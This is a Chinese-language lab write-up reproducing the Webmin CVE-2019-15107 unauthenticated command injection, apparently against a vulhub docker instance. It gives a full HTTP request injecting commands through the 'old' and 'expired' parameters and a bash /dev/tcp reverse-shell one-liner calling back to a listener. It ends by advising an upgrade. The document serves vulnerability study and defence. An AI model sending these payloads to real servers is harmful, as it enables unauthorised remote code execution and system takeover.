0x01 概述
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。当版本为1.890时,工具在默认配置下易受漏洞的威胁,而在其它版本当用户开启密码过期策略时,受该漏洞威胁。
官方给的修补是直接删除了代码中的
qx/..../
,而且该应用在官方提供的sourceforge下载的源码才包含这个漏洞,而官方Github上的代码是安全的。这也证明这个RCE漏洞很有可能是一次供应链攻击,黑客控制了官方sourceforge账户并植入了后门。
大佬的文章非常清晰明了,可以看看:
https://blog.csdn.net/qq_43380549/article/details/100011292
0x02 影响版本
webmin=1.882-1.920
条件:1.890版本,漏洞点的触发只需要在修改密码处传一个expired参数执行命令即可。不需要passwd_mode=2的必要条件。除1.890版本,其余受影响的版本的服务器的配置文件需passwd_mode=2的条件。无需用户名密码,可执行任意命令。
0x03 漏洞环境
centos+docker(CVE-2019-15107) webmin 1.910
1、访问
https://192.168.178.128:10000
2、登录前去修改一下root的密码(不然登不进去),
docker exec -it 0cfbca18f396 /bin/bash
,当前版本需要进webmin容器里开启密码重置功能
3、登陆后,
Webmin-> Webmin Configuration-> Authentication
把“允许用户使用旧密码设置新密码”的选项给选上,保存!vulhub的默认是选上了的。
4、查看配置文件
cat /etc/webmin/miniserv.conf
0x04 漏洞复现
该漏洞利用条件简单,无需登录,直接发送post请求包即可,需保证Host和Referer都为
https://IP:10000
一、命令执行:
1、抓取修改密码处的包
2、将请求改为
password_change.cgi
,post数据包中的参数也需要改一下,利用点在old参数处,利用
|
符号执行命令,这里root用户是Linux系统的root用户,linux系统的用户认证方式为Unix authenticaton,所以会受限制;用户为空、随便写或用户为webmin用户,认证方式为无。
原:
user=root&one=&new=12345678&repeat=12345678&others=1
改:
user=tttt&old=11|id&new1=12345678&new2=12345678&others=1
3、1.890版本利用只需要在post数据中有expired参数,expired=whoami就可以执行。
4、1.9.10版本请求包:
POST /password_change.cgi HTTP/1.1
Host: 192.168.178.128:10000
Connection: close
Content-Length: 57
X-PJAX-URL: save_passwd.cgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: text/plain;charset=UTF-8
X-Requested-From: passwd
Accept: text/html, */*; q=0.01
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: [data-dcontainer]
Origin: https://192.168.178.128:10000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.178.128:10000/passwd/edit_passwd.cgi?user=root&xnavigation=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sid=df8de950b9d2b05f1822332afda5ba44; sessiontest=1
user=root1&old=11|id&new1=12345678&new2=12345678&others=1
4、命令执行成功
二、反弹shell:
1、将
bash -c "bash -i >& /dev/tcp/192.168.178.3/4444 0>&1"
命令使用URL编码后放到可执行命令的参数后
2、执行后返回空白,同时收到shell,反弹成功
0x05 修复建议
升级到1.930版本